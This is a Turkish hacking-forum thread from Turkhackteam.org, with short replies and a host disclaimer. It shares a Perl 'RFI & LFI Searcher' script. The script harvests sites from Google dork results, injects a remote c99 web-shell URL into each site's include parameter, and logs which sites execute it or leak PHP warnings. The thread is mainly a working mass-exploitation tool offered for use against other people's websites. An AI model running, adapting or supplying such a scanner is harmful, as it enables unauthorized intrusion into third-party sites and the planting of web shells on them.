RFI & LFI Searcher

THE_MILLER

Katılımcı Üye
8 Ocak 2007
459
21
85
Italy // Roma
PHP- Kodu:

#!/usr/bin/perl
# RFI & LFI Searcher
use IO::Socket::INET
;
use
LWP::Simple
;
$txt = "http://www.site.com/c99.txt"
;
$search=$ARGV[0
];
$search2=$ARGV[1
];
$domin=$ARGV[2
];
$a=0
;
$r=0
;
$l=0
;
if(!
$ARGV[0
])
{
print
"\n"
;
print
"Use:perl $0 <RFI DORK>\n"
;
print
"Use:perl $0 index.php? page\n"
;
exit;
}
$resul2=""
;
while (
$resul2 !~/more results
/) {
if (
$a<10
) {
sleep 1
;
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com", PeerPort => 80, Proto => "tcp")or next
;
print
$sock "GET /search?lr=lang_fa&cr=&q=allinurl:/$search.$search2start=$a HTTP/1.0\r\n"
;
print
$sock "Content-type: text/html\n\n"
;
print
$sock "Host: www.google.com\r\n\r\n"
;
@
resul=<$sock
>;
$resul2="@resul"
;
close($sock
);
sleep 1
;
} else {
sleep 1
;
$sock = IO::Socket::INET->new(PeerAddr => "www.google.com", PeerPort => 80, Proto => "tcp")or next
;
print
$sock "GET /search?lr=lang_fa&cr=&q=allinurl:/$search.$search2&start=$a HTTP/1.0\r\n"
;
print
$sock "Content-type: text/html\n\n"
;
print
$sock "Host: www.google.com\r\n\r\n"
;
@
resul=<$sock
>;
$resul2="@resul"
;
close($sock
);
sleep 1
;
}
print
"\n"
;
while(
$resul2 =~ m/<h2 class=r><a href="(.*?)" class=l
>/) {
$resul2 =~ s/<h2 class=r><a href="(.*?)" class=l>/$1
/;
(
$p,$path) = split($search,$1
);
(
$h,$http) = split("http://",$p
);
(
$h2,$http2) = split($search2,$http
);
$kol =$h2.$search.$search2."=".$txt
;
$start = get("http://".$kol
);
if(
$start
) {
if (
$start =~ m/Defacing/ms
)
{
print
"\n
[*] RFI Vuln: $http \n"
;
open(rfi,">>rfi.txt"
);
print
rfi $h2.$search.$search2."=\n"
;
$r
++;
close(rfi
);
} else {
print
"\n
[*] RFI UnVuln: $http \n"
;
}
if (
$start =~ m/Warning/ms
) {
print
"\n
[*] Warning Error: $http \n"
;
open(lfi,">>lfi.txt"
);
print
lfi $h2.$search.$search2."=\n"
;
close(lfi
);
$l
++;
} else {
print
"\n
[*] Unvuln: $http \n"
;
}
if(
$start =~ m/In order to show you the most relevant results,/ms
)
{
print
"\n
[*] END. Total RFI : $r\n Total LFI : $l++\n"
;
exit;
}
$a
++;
} else {
print
"\n
[*] Unreachable : $http \n"
;
}
}
}
#Finish


 

THE_MILLER

Katılımcı Üye
8 Ocak 2007
459
21
85
Italy // Roma
bilmeyenler için: Arkadaşlar tek yapmanız gereken bunu perl/bin dizine notpade kaydedilmiş şekilde atın.. sonra perl/bin içinde bi klasör açın ve klasörün adı search yazın ve bu kodu oraya atın... ondan sonra aratmak istediğiniz php dosyalarınıda search klasörüne atın ve ms-dos komutundan perl/bin e gelin entere basın search klasöründe results.html olarak açıklar verilcektir...
 

BuRaS

Yeni üye
16 Ocak 2007
10
0
Bilgiler İçin Tşk ama EN Güzel RFi Arama Sekli Manuel. : ) Tabki Bana Göre ee Biraz Da Sabır Olacak.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.